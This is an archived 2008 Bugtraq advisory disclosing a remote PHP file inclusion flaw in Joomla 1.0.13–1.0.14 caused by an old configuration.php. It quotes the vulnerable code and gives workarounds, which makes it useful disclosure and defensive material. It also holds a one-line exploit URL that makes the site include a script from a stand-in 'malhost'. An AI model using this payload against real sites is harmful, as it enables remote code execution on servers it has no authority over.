bugtraq - Joomla 1.0.13 - 1.0.14 / (remote) PHP file inclusion possible if old configuration.php

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <AC7016C8004CCC4389DCB04FDD0E512B1889B7@knakworst.BWSSBV.local>
Date: Thu, 14 Feb 2008 09:30:10 +0100
From: "Hendrik Jan Verheij" <h.j.verheij@...s.nl>
To: <bugtraq@...urityfocus.com>
Subject: Joomla 1.0.13 - 1.0.14 / (remote) PHP file inclusion possible if old configuration.php

Affects: Joomla 1.0.13 - 1.0.14
Vulnerability: (remote) PHP file inclusion possible if old
configuration.php
Date: 14-feb-2008

Introduction:

Remote PHP file inclusion is possible when RG_EMULATION is not defined
in
configuration.php. This is typical when upgrading from an older version,
leaving configuration.php untouched. Furthermore, in PHP,
register_globals
must be 'off', for this exploit to work.

In Joomla >=1.0.13, configuration.php-dist disables register_globals
emulation, by defining RG_EMULATION false. In older Joomla versions,
this
was defined in globals.php instead.

Users upgrading, without touching configuration.php (quite typical),
will have RG_EMULATION
unset, resulting in the following vulnerability.

In Revision 7424 of globals.php, the 'configuration.php' file is
included
before registerGlobals() is called, allowing a malicious peer to
override any value set in configuration.php.

Details:

Since revision 7424, globals.php includes 'configuration.php' if
RG_EMULATION is unset, and enables RG_EMULATION by default for 'old
configuration files':

if( defined( 'RG_EMULATION' ) === false ) {
 if( file_exists( dirname(__FILE__).'/configuration.php' ) ) {
  require( dirname(__FILE__).'/configuration.php' );
 }

 if( defined( 'RG_EMULATION' ) === false ) {
  // The configuration file is old so default to on
  define( 'RG_EMULATION', 1 );
 }
}

The registerGlobals function is called *after* having included
'configuration.php':

} else if (ini_get('register_globals') == 0) {
 // php.ini has register_globals = off and emulate = on
 registerGlobals();

Maliciously set GET variables cause variables set by configuration.php
to be overwritten.

Looking in index.php:

require( 'globals.php' );
require_once( 'configuration.php' );

Since 'configuration.php' was already included by globals.php, the
require_once() won't include the configuration.php again (leaving
"attacker's" values untouched!).

The exploit:

http://joomlasite/index.php?mosConfig_absolute_path=http://malhost/php_s
cript.txt

Workaround:

In index*.php and administrator/index*.php change:

 require_once( 'configuration.php' );

to

 require('configuration.php');

Or disable RG_EMULATION by using the line in configuration.php-dist in
configuration.php:

if(!defined('RG_EMULATION')) { define( 'RG_EMULATION', 0 ); } // Off by
default for security

Regards,

Hendrik-Jan Verheij
BWSS B.V.